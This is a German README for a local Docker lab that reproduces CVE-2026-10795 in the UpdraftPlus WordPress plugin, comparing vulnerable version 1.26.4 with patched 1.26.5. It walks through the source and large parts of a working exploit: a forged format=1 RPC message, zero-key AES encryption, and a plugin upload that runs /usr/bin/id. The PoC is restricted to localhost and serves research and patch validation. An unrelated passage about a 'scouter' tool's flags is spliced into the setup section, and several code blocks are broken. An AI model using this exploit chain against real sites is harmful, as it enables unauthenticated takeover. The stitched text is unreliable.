
Docker-Labor, das CVE-2026-10795 reproduziert: Authentifizierungsumgehung in UpdraftPlus UpdraftCentral, verkettet mit Plugin-Installation für RCE. Enthält verwundbare/gepatchte Ziele, PoC-Exploit und Quellcode-Walkthrough.
Dieses Repository enthält ein lokales Docker-Lab zur Reproduktion und Validierung von CVE-2026-10795, einer nicht authentifizierten Authentifizierungsumgehungsschwachstelle, die das UpdraftPlus WordPress-Plugin über seine UpdraftCentral-Fernkommunikationsschicht betrifft.
Das angreifbare Verhalten existiert im UpdraftCentral RPC-Nachrichtenverarbeitungsablauf. In anfälligen Versionen kann eine gefälschte format=1 RPC-Nachricht die Signaturprüfung umgehen, einen fehlgeschlagenen RSA-Entschlüsselungspfad auslösen und dennoch die symmetrische Entschlüsselung mit einem vorhersagbaren Null-Schlüssel-/Null-IV-Verhalten erreichen. Dies ermöglicht es, dass eine manipulierte verschlüsselte RPC-Nachricht als UpdraftCentral-Befehl akzeptiert und weitergeleitet wird.
Dieses Lab vergleicht zwei UpdraftPlus-Versionen:
| Dienst | UpdraftPlus-Version | Zweck | URL |
|---|---|---|---|
vuln | 1.26.4 | Angreifbares Vergleichsziel | http://127.0.0.1:8081 |
patched | 1.26.5 | Gepatchtes Vergleichsziel | http://127.0.0.1:8082 |
Die demonstrierte Kette ist:```text Unauthenticated attacker → forged UpdraftCentral RPC request → format=1 signature verification bypass → failed RSA decrypt not rejected in vulnerable version → predictable zero-key/zero-IV decrypt path → forged JSON RPC command accepted → privileged UpdraftCentral command dispatch → plugin.upload_plugin → install and activate marker plugin → hard-coded /usr/bin/id proof endpoint
Die primäre Schwachstelle ist ein Authentifizierungs-Bypass. Die Laborumgebung zeigt, dass der Bypass zu einem RCE-ähnlichen Impact ausgenutzt werden kann, wenn ein privilegierter UpdraftCentral-Schlüsselstatus vorhanden ist, da UpdraftCentral legitime Plugin-Management-Befehle bereitstellt, die WordPress-Plugins installieren und aktivieren können.
Dies ist keine direkte Befehlsinjizierungsschwachstelle. Der Code-Ausführungsnachweis erfolgt durch Missbrauch der authentifizierten Plugin-Installationsfunktion nach Umgehung der RPC-Authentifizierungsgrenze.
Diese Laborumgebung ist ausschließlich für kontrollierte lokale Forschung, Quellcode-Verständnis und Demonstrationszwecke im Portfolio gedacht.
## Verifizierte Fakten
| Behauptung | Nachweis | So überprüfen Sie es in diesem Labor |
| -------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------- |
| UpdraftPlus 1.26.4 ist in diesem Labor verwundbar. | Der verwundbare Dienst akzeptiert eine gefälschte `format=1` RPC-Nachricht und führt `plugin.upload_plugin` aus. | Führen Sie `python3 poc/poc.py --url http://127.0.0.1:8081` aus. |
| UpdraftPlus 1.26.5 blockiert die gefälschte Nachricht in diesem Labor. | Der gepatchte Dienst gibt keinen RPC-Antworttext zurück und führt den gefälschten Befehl nicht aus. | Führen Sie `python3 poc/poc.py --url http://127.0.0.1:8082` aus. |
| Das Problem ist ein Authentifizierungs-Bypass in der UpdraftCentral-RPC-Ebene. | Eine gefälschte, nicht authentifizierte RPC-Anfrage kann in der verwundbaren Version die Befehlsverteilung erreichen. | Vergleichen Sie das `--ping`-Verhalten zwischen den Ports `8081` und `8082`. |
| Das Labor installiert das Markierungs-Plugin nicht vor. | Die Einrichtung installiert nur WordPress, UpdraftPlus und einen lokalen UpdraftCentral-Schlüsselstatus. | Überprüfen Sie `/wp-json/cve-lab/v1/id` vor dem Ausführen des PoC. |
| Der PoC installiert das Markierungs-Plugin durch eine gefälschte RPC. | Der PoC sendet `plugin.upload_plugin` mit einem ZIP-Plugin-Payload im RPC-Datenfeld. | Führen Sie den PoC aus und fragen Sie dann `/wp-json/cve-lab/v1/id` ab. |
| Das verwundbare Ziel erreicht einen RCE-ähnlichen Impact. | Das Markierungs-Plugin legt einen fest codierten Endpunkt frei, der die Ausgabe von `/usr/bin/id` zurückgibt. | Das verwundbare Ziel gibt `uid=33(www-data) gid=33(www-data)` zurück. |
| Das gepatchte Ziel installiert das Markierungs-Plugin nicht. | Der Markierungs-Endpunkt gibt auf dem gepatchten Dienst `404 rest_no_route` zurück. | Führen Sie den PoC gegen `http://127.0.0.1:8082` aus. |
| Das Labor erfordert einen UpdraftCentral-Schlüsselstatus. | Die UpdraftCentral-Befehlsverteilung hängt von einem lokalen Schlüsseleintrag und zugehörigen Metadaten ab. | Überprüfen Sie `scripts/setup-wordpress.sh`. |
## Annahmen und Unbekanntes
Dieses Labor legt absichtlich einen lokalen UpdraftCentral-Schlüsselstatus an, um einen Site-Zustand zu reproduzieren, in dem die Fernsteuerung konfiguriert wurde.
Der angelegte Schlüsselstatus ist eine Voraussetzung des Labors, nicht die Schwachstelle selbst. Er ermöglicht es dem Labor, den verwundbaren RPC-Parsing- und Entschlüsselungspfad konsistent zu durchlaufen.
Das Labor behauptet nicht, dass jede UpdraftPlus-Installation sofort ausnutzbar ist. Die demonstrierte Kette hängt vom Vorhandensein eines lokalen UpdraftCentral-Schlüsseleintrags ab, der mit einem privilegierten WordPress-Benutzer verknüpft ist.
Das Labor demonstriert einen kontrollierten RCE-ähnlichen Impact durch die Installation eines Markierungs-Plugins, das einen fest codierten `/usr/bin/id`-Nachweis-Endpunkt freigibt. Es stellt keine generische Web-Shell, keinen Parameter zur beliebigen Befehlsausführung, keinen Reverse-Shell, keinen Persistenzmechanismus, keinen Diebstahl von Anmeldeinformationen und keinen externen Callback bereit.
Der PoC ist auf lokale Ziele beschränkt und lehnt standardmäßig nicht-lokale Hostnamen ab.
## Zusammenfassung der Grundursache
Die Grundursache ist eine unsachgemäße Validierung von UpdraftCentral-RPC-Nachrichten in verwundbaren Versionen von UpdraftPlus.
Der verwundbare RPC-Fluss akzeptiert eine `format=1`-Nachricht. Der `format=1`-Pfad erfordert nicht dieselbe Signaturprüfung wie neuere Nachrichtenformate.
Das Problem auf hoher Ebene ist:```text
format=1 message
→ signature verification is bypassed
→ RSA decrypt of the symmetric key can fail
→ failed decrypt result is not rejected
→ false is passed into the symmetric cipher as a key
→ phpseclib normalizes this into a predictable null key path
→ attacker-controlled encrypted JSON can decrypt successfully
→ command is dispatched
Bei anfälligem Verhalten kann die RSA-Entschlüsselung Folgendes zurückgeben:```text false
Statt dieses fehlgeschlagene Entschlüsselungsergebnis abzulehnen, setzt der anfällige Ablauf fort und übergibt den Wert an die symmetrische Entschlüsselungsschicht.
Das effektive anfällige Muster ist:```php
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
$decrypted = $rij->decrypt($ciphertext);
Das Problem ist, dass $sym_key nicht validiert wird, bevor es verwendet wird.
Wenn $sym_key false ist, folgt die Cipher-Einrichtung einem vorhersagbaren Null-Schlüssel/Null-IV-Verhalten. Dies macht es möglich, einen verschlüsselten RPC-Payload mit einem bekannten Null-Schlüssel und Null-IV zu erstellen.
Die gepatchte Version fügt eine Prüfung hinzu, bevor der symmetrische Schlüssel verwendet wird:```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }
Dies ändert die Vertrauensgrenze.
Vor dem Patch:```text
failed RSA decrypt result could still reach symmetric decrypt
Nach dem Patch:```text failed RSA decrypt result is rejected before command dispatch
Dies ist der Grund, warum der anfällige Dienst die gefälschte RPC-Anweisung ausführt, während der gepatchte Dienst dies nicht tut.
## Warum eine Authentifizierungsumgehung zu Codeausführung führen kann
CVE-2026-10795 wird am besten als Authentifizierungsumgehung beschrieben, da der grundlegende Fehler in der RPC-Authentifizierungs- und Nachrichtenüberprüfungsschicht liegt.
Nachdem diese Authentifizierungsgrenze jedoch umgangen wurde, kann die vom Angreifer kontrollierte RPC-Nachricht privilegierte UpdraftCentral-Befehle erreichen.
Ein wichtiger Befehlspfad ist:```text
plugin.upload_plugin
Dieser Befehl ist Teil der Plugin-Verwaltungsfunktionalität von UpdraftCentral. Er akzeptiert ein Plugin-ZIP-Paket, schreibt es an einen temporären Speicherort, installiert das Plugin und aktiviert es bei Bedarf.
Die Auswirkungskette ist daher:```text Authentication bypass → forged privileged RPC command → plugin upload through legitimate UpdraftCentral functionality → plugin installation → plugin activation → WordPress plugin code execution
Dies ist keine Befehlsinjektion.
Das Labor demonstriert die Codeausführung durch die Installation eines Marker-Plugins, das einen einzelnen Endpunkt bereitstellt:```text
/wp-json/cve-lab/v1/id
Das Marker-Plugin akzeptiert keinen Befehlsparameter. Es läuft nur:```text /usr/bin/id
Dies hält den Beweis kontrolliert und vermeidet, dass das Labor in eine universelle Webshell verwandelt wird.
## Zusammenfassung des Quell-Patches
Das relevante Patch-Verhalten besteht darin, dass die gepatchte Version ungültige symmetrische Schlüssel ablehnt, bevor sie versucht, den RPC-Nachrichtenrumpf zu entschlüsseln.
Die wichtige Validierung ist:```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
Dies verhindert das anfällige Fallback-Verhalten, bei dem ein fehlgeschlagenes RSA-Entschlüsselungsergebnis zu einem vorhersagbaren symmetrischen Schlüsselpfad werden kann. Das praktische Ergebnis ist:```text UpdraftPlus 1.26.4 → forged format=1 RPC message reaches command dispatch
UpdraftPlus 1.26.5 → failed symmetric key validation stops the forged message → command dispatch is not reached
Das Labor validiert auch die Auswirkungen nachgelagerter Prozesse, indem es den tatsächlichen UpdraftCentral-Plugin-Upload-Befehlspfad angreift.
Das relevante Befehlsverhalten ist:```text
plugin.upload_plugin
→ base64 decode ZIP data
→ write temporary ZIP file
→ UpdraftCentral_Plugin_Upgrader->install()
→ activate_plugin()
Die gepatchte Version blockiert die gefälschte Nachricht, bevor dieser Befehlspfad erreicht wird.
Dieser Abschnitt erklärt den anfälligen Pfad auf Quellcode-Ebene und ordnet jeden PoC-Schritt dem entsprechenden Verhalten von UpdraftPlus/UpdraftCentral zu.
Das Labor basiert nicht auf einer gefälschten anfälligen Anwendungsroute. Das anfällige Verhalten wird über den echten UpdraftCentral RPC-Listener und den echten UpdraftCentral Plugin-Verwaltungs-Befehlspfad erreicht.
Die wichtigen Quellbereiche sind:```text vendor/team-updraft/common-libs/src/updraft-rpc/class-udrpc2.php central/bootstrap.php central/listener.php central/commands.php central/modules/plugin.php
### Listener-Erstellung
Der anfällige RPC-Pfad beginnt, wenn WordPress eine POST-Anfrage empfängt, die Folgendes enthält:```text
udrpc_message
format
key_name
Die RPC-Bibliothek registriert einen Listener auf WordPress wp_loaded, wenn diese POST-Felder existieren.
Konzeptionell ist der Ablauf:```php if (!empty($_POST['udrpc_message']) && !empty($_POST['format'])) { add_action('wp_loaded', array($this, 'wp_loaded')); add_action('wp_loaded', array($this, 'wp_loaded_final'), 10000); }
Dies bedeutet, dass der Angreifer keinen speziellen REST-Endpunkt oder eine Admin-URL kennen muss. Die gefälschte RPC-Anfrage wird als normale POST-Anfrage an das Stammverzeichnis der WordPress-Website gesendet. Der PoC sendet:```text
POST /
format=1
key_name=0.central.updraftplus.com
udrpc_message=<crafted encrypted message>
Die Anfrage erreicht denselben Listener-Pfad, der von der legitimen UpdraftCentral-Fernkommunikation verwendet wird.
UpdraftCentral speichert lokale Fernsteuerungsschlüssel in WordPress-Optionen. In diesem Laboratorium legt das Setup-Skript einen kontrollierten Schlüsselzustand sowohl für das verwundbare als auch für das gepatchte Ziel fest.
Der relevante Schlüsselname lautet:
`updraftcentral_remote_control_pass````text 0.central.updraftplus.com
Dieses Format wird durch die UpdraftCentral-Schlüsselindikatorlogik erstellt:```php
private function indicator_name_from_index($index) {
return $index.'.central.updraftplus.com';
}
Der Listener fährt nur fort, wenn das unverschlüsselte POST-Feld mit dem erwarteten Schlüsselindikator übereinstimmt:```php if (empty($_POST['key_name']) || $_POST['key_name'] != $this->key_name_indicator) { return; }
Das PoC setzt daher:```python
KEY_NAME = "0.central.updraftplus.com"
Dies ist nicht die Schwachstelle. Es ist eine Laborvoraussetzung, die es dem Test ermöglicht, den anfälligen RPC-Parsing- und Entschlüsselungspfad auf reproduzierbare Weise zu durchlaufen.
UpdraftCentral unterstützt Nachrichtenformate. Die wichtige Unterscheidung ist:```text format=1 legacy path format=2 signed message path
Im anfälligen Codepfad erfolgt die Signaturprüfung nur, wenn das Format größer oder gleich 2 ist:```php
if ($format >= 2) {
if (empty($_POST['signature'])) {
die;
}
if (!$this->key_remote) {
die;
}
if (!$this->verify_signature($udrpc_message, $_POST['signature'], $this->key_remote)) {
die;
}
}
Weil das PoC verwendet:```text format=1
Dieser Signaturprüfungsblock wird übersprungen.
Das ist die Grenze der Authentifizierungsumgehung.
Eine legitime `format=2`-Nachricht sollte eine gültige Signatur enthalten. Die gefälschte `format=1`-Nachricht benötigt keine, sodass die vom Angreifer kontrollierte Nachricht zum Entschlüsselungspfad gelangen kann.
### Gefährdeter Entschlüsselungsablauf
Nach Format- und Schlüsselnamenprüfungen entschlüsselt der Listener die übermittelte `udrpc_message`.
Der gefährdete Entschlüsselungsablauf in UpdraftPlus 1.26.4 ist effektiv:```php
$rsa->loadKey($this->key_local);
$sym_key = base64_decode($sym_key);
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
return $rij->decrypt($ciphertext);
Der Bug liegt zwischen diesen beiden Operationen:```php $sym_key = $rsa->decrypt($sym_key); $rij->setKey($sym_key);
Wenn die RSA-Entschlüsselung fehlschlägt, kann `$rsa->decrypt()` Folgendes zurückgeben:```php
false
Die anfällige Version lehnt diesen Wert nicht ab, bevor sie ihn an Folgendes übergibt:```php $rij->setKey($sym_key);
Die gepatchte Version behebt dies durch Hinzufügen einer Validierung:```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
Dieser Schutz ist der sicherheitsrelevante Patch. Er verhindert, dass ein fehlgeschlagenes RSA-Entschlüsselungsergebnis an die symmetrische Chiffre-Einrichtung weitergegeben wird.
false vorhersagbar wirdDas anfällige Verhalten ist gefährlich, weil setKey(false) in diesem phpseclib-Pfad nicht sicher fehlschlägt.
Der Chiffre-Code berechnet die Schlüssellänge aus dem bereitgestellten Schlüssel:```php $this->setKeyLength(strlen($key) << 3); $this->key = $key;
Wenn `$key` `false` ist, verhält sich `strlen(false)` wie ein Fall mit einer Schlüssellänge von null. Die Rijndael-Schlüssellängenlogik rundet sehr kleine Schlüsselgrößen auf eine gültige Mindestschlüssellänge auf:```php
case $length <= 128:
$this->key_length = 16;
break;
Die Chiffre-Einrichtung füllt dann den Schlüssel und IV mit Nullbytes auf:```php $this->encryptIV = $this->decryptIV = str_pad(substr($this->iv, 0, $this->block_size), $this->block_size, "\0");
$this->key = str_pad(substr($this->key, 0, $this->key_length), $this->key_length, "\0");
So kann der Angreifer das anfällige Entschlüsselungsverhalten wie folgt modellieren:```text
AES/Rijndael-CBC
key = 16 null bytes
iv = 16 null bytes
Dies ist der Grund, warum der PoC einen JSON-RPC-Befehl lokal verschlüsseln und das anfällige Ziel erfolgreich entschlüsseln lassen kann.
Die anfällige Entschlüsselungsfunktion erwartet, dass die verschlüsselte Nachricht Folgendes enthält:```text 3 hex chars length of RSA-encrypted symmetric key, as base64 text N chars base64 RSA-encrypted symmetric key 16 hex chars length of ciphertext, as base64 text M chars base64 encrypted message body
Das PoC baut diese Struktur manuell auf:```python
bad_sym_key_b64 = base64.b64encode(BAD_RSA_BLOCK).decode("ascii")
ciphertext_b64 = base64.b64encode(encrypted_inner_json).decode("ascii")
sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"
udrpc_message = f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"
Der RSA-Block ist absichtlich ungültig:```python BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"
Bei UpdraftPlus 1.26.4 führt der ungültige RSA-Block dazu, dass die RSA-Entschlüsselung fehlschlägt, aber der Fehler wird nicht zurückgewiesen.
Bei UpdraftPlus 1.26.5 wird das fehlgeschlagene Entschlüsselungsergebnis von der neuen Schutzfunktion zurückgewiesen und die gefälschte Nachricht erreicht die Befehlsverteilung nicht.
### Inner JSON RPC Message
Die verschlüsselte innere Nachricht ist ein normaler JSON-Befehl im UpdraftCentral-Stil.
Für die Ping-Validierung verwendet der PoC:```json
{
"command": "ping",
"time": 1710000000,
"key_name": "0.central.updraftplus.com",
"rand": 123456
}
Für den Standard-ID-Nachweis verwendet der PoC:```json { "command": "plugin.upload_plugin", "time": 1710000000, "key_name": "0.central.updraftplus.com", "rand": 123456, "data": { "filename": "cve-2026-10795-id-marker.zip", "data": "", "activate": true } }
Der `key_name` erscheint sowohl außerhalb als auch innerhalb der verschlüsselten Nachricht. Der Listener überprüft, ob beide übereinstimmen:```php
if (empty($udrpc_message['key_name']) || $_POST['key_name'] != $udrpc_message['key_name']) {
die;
}
That is why the PoC must include the same key name in both places.
Nach dem Entschlüsseln der Nachricht analysiert der Listener sie als JSON:```php $udrpc_message = json_decode($udrpc_message, true);
Die Nachricht muss einen gültigen Befehl enthalten:```php
if (empty($udrpc_message) || !is_array($udrpc_message) || empty($udrpc_message['command']) || !is_string($udrpc_message['command'])) {
die;
}
Es muss auch einen Zeitstempel enthalten:```php if (empty($udrpc_message['time'])) { die; }
Der Zeitstempel muss sich innerhalb des zulässigen Wiederholungsfensters befinden:```php
$time_difference = absint($udrpc_message['time'] - time());
if ($time_difference > $this->maximum_replay_time_difference) {
die;
}
Das PoC setzt daher das innere time-Feld auf die aktuelle Zeit.
Nachdem die Nachricht entschlüsselt und validiert wurde, führt UpdraftCentral den Befehl aus.
Befehle verwenden ein Präfixformat:```text .
Zum Beispiel:```text
plugin.upload_plugin
Dies wird:```text prefix = plugin method = upload_plugin
Der Listener löst die Befehlsklasse aus dem Präfix auf und ruft dann die Methode dynamisch auf:```php
$msg = apply_filters(
'updraftcentral_listener_udrpc_action',
call_user_func(array($command_class, $command), $data, $extra_info),
$command_class,
$class_prefix,
$command,
$data,
$extra_info
);
Für den PoC-Befehl:```text plugin.upload_plugin
der Listener ruft auf:```php
UpdraftCentral_Plugin_Commands::upload_plugin($data)
Deshalb benötigt der PoC keine direkte Befehlsinjizierungssenke. Er erreicht einen legitimen privilegierten UpdraftCentral-Befehl, nachdem er die RPC-Authentifizierungsgrenze umgangen hat.
Der Listener kann den aktuellen WordPress-Benutzer aus den UpdraftCentral-Schlüsselmetadaten festlegen:```php if (!empty($extra_info['user_id'])) { wp_set_current_user($extra_info['user_id']); }
In diesem Labor hat der initiale Schlüssel:```text
extra_info.user_id = 1
Das simuliert einen konfigurierten UpdraftCentral-Schlüssel, der mit dem während der WordPress-Einrichtung erstellten Administrator-Benutzer verknüpft ist.
Dies ist wichtig, weil der Plugin-Upload-Pfad die WordPress-Berechtigungen überprüft:```php if (!current_user_can('install_plugins') || !current_user_can('activate_plugins')) { $permission_error = true; }
So allein der Bypass bringt den gefälschten Befehl in die RPC-Schicht. Die gesäten Schlüssel-Metadaten bestimmen, in welchem WordPress-Benutzerkontext der Befehl ausgeführt wird.
In diesem Labor läuft der Befehl im Admin-Kontext, da der Schlüssel mit der Benutzer-ID 1 verknüpft ist.
### Plugin Upload Sink
Die Befehlsmethode ist:```php
public function upload_plugin($params) {
return $this->process_chunk_upload($params, 'plugin');
}
Der gemeinsame Upload-Handler erwartet Plugin-Upload-Daten:```text filename data activate
Der PoC sendet:```python
{
"filename": "cve-2026-10795-id-marker.zip",
"data": base64.b64encode(zip_bytes).decode("ascii"),
"activate": True,
}
Der Upload-Handler schreibt den ZIP-Inhalt in eine temporäre Datei:```php $result = file_put_contents( $upload_dir.'/'.$filename, base64_decode($params['data']), FILE_APPEND | LOCK_EX );
Für einen non-chunked Upload erfolgt die Installation sofort:```php
$install_now = true;
Der Handler erstellt dann einen ZIP-Pfad:```php $zip_filepath = $upload_dir.'/'.$filename;
und installiert es mit dem UpdraftCentral Plugin-Upgrader:```php
$upgrader = new UpdraftCentral_Plugin_Upgrader($skin);
$install_result = $upgrader->install($zip_filepath);
Wenn die Installation erfolgreich ist und activate wahr ist, aktiviert der Code das installierte Plugin:```php
if ((bool) $params['activate'] && !$is_active) {
$activate = activate_plugin($data['slug']);
}
Eine erfolgreiche Installationsantwort enthält:```php
return $this->_response(
array(
'installed' => true,
'installed_data' => $data,
)
);
Dies ist der grundlegende Grund auf Quellcode-Ebene, warum ein gefälschter RPC-Authentifizierungs-Bypass mit der Installation und Aktivierung von WordPress-Plugins verknüpft werden kann.
Das Marker-Plugin wird vom PoC im Speicher erstellt. Es wird nicht vorab durch das Docker-Setup installiert.
Das generierte ZIP enthält:```text cve-2026-10795-id-marker/ └── cve-2026-10795-id-marker.php
Das Marker-Plugin registriert eine REST-Route:```text
/wp-json/cve-lab/v1/id
Der Endpunkt gibt zurück:```text lab plugin proof uid gid user id_output
Der einzige Befehl, der vom Marker-Plugin ausgeführt wird, ist fest codiert:```php
shell_exec('/usr/bin/id 2>&1');
Es gibt keinen benutzergesteuerten cmd-Parameter.
Dies ist beabsichtigt. Die Übung demonstriert die Plugin-Code-Ausführung, während eine generische Web-Shell vermieden wird.
Der gepatchte Dienst empfängt dieselbe gefälschte Anfrage und hat denselben gesetzten Schlüsselzustand.
Der Unterschied ist der gepatchte Entschlüsselungsschutz:```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }
Weil der PoC absichtlich einen ungültigen RSA-Block bereitstellt, ist der entschlüsselte symmetrische Schlüssel ungültig.
In UpdraftPlus 1.26.5 stoppt die gefälschte Nachricht vor dem JSON-Parsing und vor der Befehlsverteilung.
Daher:```text
plugin.upload_plugin is never called
marker plugin is never installed
/wp-json/cve-lab/v1/id returns 404 rest_no_route
Dieses korrigierte Verhalten zeigt, dass das Laborergebnis vom anfälligen UpdraftPlus-RPC-Codepfad abhängt, nicht von der Docker-Umgebung.
Der PoC beginnt mit der Ablehnung nicht-lokaler Ziele:```python allowed_hosts = {"127.0.0.1", "localhost", "::1"}
if host not in allowed_hosts: raise ValueError("Refusing non-local target")
Dies hält das Skript auf das Docker-Lab beschränkt.
Der PoC erstellt die innere RPC-Nachricht:```python
inner = {
"command": command,
"time": int(time.time()),
"key_name": KEY_NAME,
"rand": random.randint(1, 2_147_483_647),
}
Wenn der Standard-ID-Nachweis verwendet wird, lautet der Befehl:```python command = "plugin.upload_plugin"
und die Daten sind:```python
{
"filename": "cve-2026-10795-id-marker.zip",
"data": base64.b64encode(zip_bytes).decode("ascii"),
"activate": True,
}
Der PoC verschlüsselt dann das innere JSON mit dem vorhersehbaren angreifbaren Chiffrierzustand:```python ZERO_KEY = b"\x00" * 16 ZERO_IV = b"\x00" * 16
cipher = AES.new(ZERO_KEY, AES.MODE_CBC, iv=ZERO_IV) ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
Dies entspricht der verwundbaren Konsequenz, wenn `false` in die symmetrische Chiffre-Einrichtung übergeben wird.
Der PoC verwendet absichtlich einen schlechten RSA-Block:```python
BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"
Das resultierende udrpc_message wird im gleichen längenpräfixierten Format erstellt, das die RPC decrypt function erwartet:```python
sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"
return f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"
Schließlich sendet der PoC die gefälschte RPC-Anfrage:```python
fields = {
"format": "1",
"key_name": KEY_NAME,
"udrpc_message": build_udrpc_message(command, data),
}
requests.post(target, data=fields, timeout=timeout)
Auf dem anfälligen Ziel enthält die Serverantwort einen gültigen JSON-Antwortkörper im RPC-Stil. Der PoC behandelt dies als:```text RPC DISPATCHED
Nach dem Dispatch überprüft der PoC die Auswirkung, indem er den Marker-Endpunkt anfordert:```text
GET /wp-json/cve-lab/v1/id
Wenn das Marker-Plugin installiert und aktiviert wurde, gibt der Endpunkt Folgendes zurück:```text uid=33(www-data) gid=33(www-data) groups=33(www-data)
Diese Ausgabe beweist, dass die gefälschte, nicht authentifizierte RPC-Nachricht einen privilegierten Plugin-Installationspfad erreicht und vom Angreifer bereitgestellten Plugin-Code im lokalen Labor aktiviert hat.
## Was das Labor beweist
Dieses Labor beweist die folgende technische Kette:```text
1. UpdraftPlus 1.26.4 accepts a forged format=1 UpdraftCentral RPC message.
2. The forged message does not need a valid signature.
3. A failed RSA decrypt result is not rejected before symmetric decrypt.
4. The symmetric decrypt path becomes predictable enough to craft a valid JSON command.
5. The JSON command reaches UpdraftCentral command dispatch.
6. The dispatched command can call plugin.upload_plugin.
7. plugin.upload_plugin can install and activate a ZIP plugin.
8. Activated plugin code runs in the web server context.
9. UpdraftPlus 1.26.5 blocks the same forged message before dispatch.
Das Labor beweist nicht, dass jede Installation ohne Voraussetzungen ausnutzbar ist.
Die erforderliche Voraussetzung für diese Demonstration ist:```text an existing UpdraftCentral local key state associated with a privileged WordPress user
Das Docker-Setup erstellt diese Voraussetzung in beiden Zielen, sodass der Unterschied zwischen verwundbarem und gepatchtem Verhalten fair getestet werden kann.
## Laborarchitektur
Das Labor betreibt zwei isolierte WordPress-Installationen über Docker Compose.```text
.
├── docker-compose.yml
├── scripts/
│ └── setup-wordpress.sh
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── requirements.txt
├── README.md
└── .gitignore
Die beiden WordPress-Dienste verwenden separate Datenbanken und separate UpdraftPlus-Versionen:
Standardmäßig exponierte Dienste:```text Vulnerable target: http://127.0.0.1:8081 Patched target: http://127.0.0.1:8082
Der Einrichtungsprozess setzt denselben UpdraftCentral-Schlüsselstatus in beide Dienste ein:```text
key_name: 0.central.updraftplus.com
extra_info.user_id: 1
This gives both targets the same prerequisite state. The difference in behavior comes from the vulnerable versus patched UpdraftPlus code, not from different lab setup.
requirements.txt aufgeführte Python-PaketePython-Abhängigkeiten:```text requests urllib3<2 pycryptodome
Die Einschränkung `urllib3<2` vermeidet LibreSSL-bezogene Warnungen bei einigen macOS Python-Builds.
## Schnellstart
Starten Sie von einem sauberen Lab-Zustand:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
Setup-Protokolle anzeigen:```bash docker compose logs -f vuln_setup patched_setup
Erwartete Setup-Indikatoren:```text
Seeded UpdraftCentral key: 0.central.updraftplus.com
Plugin updraftplus details:
Status: Active
Version: 1.26.4
Setup complete for CVE-2026-10795 vuln
scouter:sync=off and mode=run
Wenn dieses Befehlszeilen-Flag angegeben wird, führt das Tool einige Aufgaben aus, bevor es mit dem Scraping des Ziels beginnt; wir nennen dies Konfigurationssynchronisierung.
Die Flags --sync-off und --mode werden zu sync=off und mode=run kombiniert.
Der Befehl mode bietet 2 Ausführungsmodi:
run: ist der Standardmodus, der die Konfigurationssynchronisierung ausführtgen: generiert die Provider-Konfiguration für scouter basierend auf den
vom spezifischen Treiber unterstützten Ressourcen, die erstellte Konfigurationsdatei wird
im Verzeichnis $HOME/.scouter/provider_name/ abgelegt.Der Befehl sync bietet 2 Optionen:
on: führt die Konfigurationssynchronisierung durchoff: überspringt die Konfigurationssynchronisierung```text
Seeded UpdraftCentral key: 0.central.updraftplus.com
Plugin updraftplus details:
Status: Active
Version: 1.26.5
Setup complete for CVE-2026-10795 patchedLaufende Dienste überprüfen:```bash
docker compose ps
Erstellen und aktivieren Sie eine virtuelle Python-Umgebung:```bash python3 -m venv venv source venv/bin/activate pip install -r requirements.txt
Führen Sie den Standard-ID-Nachweis gegen das verwundbare Ziel aus:```bash
python3 poc/poc.py --url http://127.0.0.1:8081
Führen Sie den gleichen Beweis gegen das gepatchte Ziel durch:```bash python3 poc/poc.py --url http://127.0.0.1:8082
Das Skript erfordert absichtlich die Option `--url`. Dies zwingt den Tester, das Ziel explizit auszuwählen, anstatt beide Dienste automatisch anzugreifen.
## PoC-Verwendung
Standardverhalten:```bash
python3 poc/poc.py --url <local_target_url>
Beispiel eines verwundbaren Ziels:```bash python3 poc/poc.py --url http://127.0.0.1:8081
Beispiel gepatchtes Ziel:```bash
python3 poc/poc.py --url http://127.0.0.1:8082
Optionale Nur-Ping-Validierung:```bash python3 poc/poc.py --ping --url http://127.0.0.1:8081 python3 poc/poc.py --ping --url http://127.0.0.1:8082
Unterstützte Optionen:
| Option | Erforderlich | Zweck |
| ----------- | ------------ | ----------------------------------------------------- |
| `--url` | Ja | Lokale Laborziel-URL |
| `--ping` | Nein | Führe harmlose Ping-Validierung anstelle von ID-Nachweis durch |
| `--timeout` | Nein | HTTP-Timeout in Sekunden. Standardwert: `15` |
Akzeptierte Ziel-Hosts:```text
127.0.0.1
localhost
::1
Der PoC lehnt standardmäßig nicht-lokale Ziele ab.
Der PoC läuft auf dem Host-Rechner und sendet HTTP-Anfragen an die freigegebenen Docker-Dienste.
Die Standardaktion des PoC ist der ID-Nachweis.
Der Ablauf auf hoher Ebene ist:```text
Das Marker-Plugin ist nicht als eigenständige Plugin-Datei im Repository gespeichert. Es wird vom PoC im Speicher erzeugt.
Der gefälschte RPC-Befehl lautet:```text
plugin.upload_plugin
Die RPC-Daten enthalten:```text filename = cve-2026-10795-id-marker.zip data = base64(plugin_zip) activate = true
Das PoC verschlüsselt die innere JSON-RPC-Nachricht mit:```text
AES-CBC
key = 16 null bytes
iv = 16 null bytes
Es enthält auch einen absichtlich ungültigen RSA-verschlüsselten symmetrischen Schlüsselblock.
In der anfälligen Version wird der RSA-Entschlüsselungsfehler nicht zurückgewiesen. Die Nachricht gelangt in den vorhersagbaren Nullschlüssel-Entschlüsselungspfad und der gefälschte Befehl wird ausgeführt.
In der gepatchten Version wird der ungültige symmetrische Schlüssel zurückgewiesen und der gefälschte Befehl wird nicht ausgeführt.
--ping existiertDie Option --ping ist ein Debugging-Hilfsmittel.
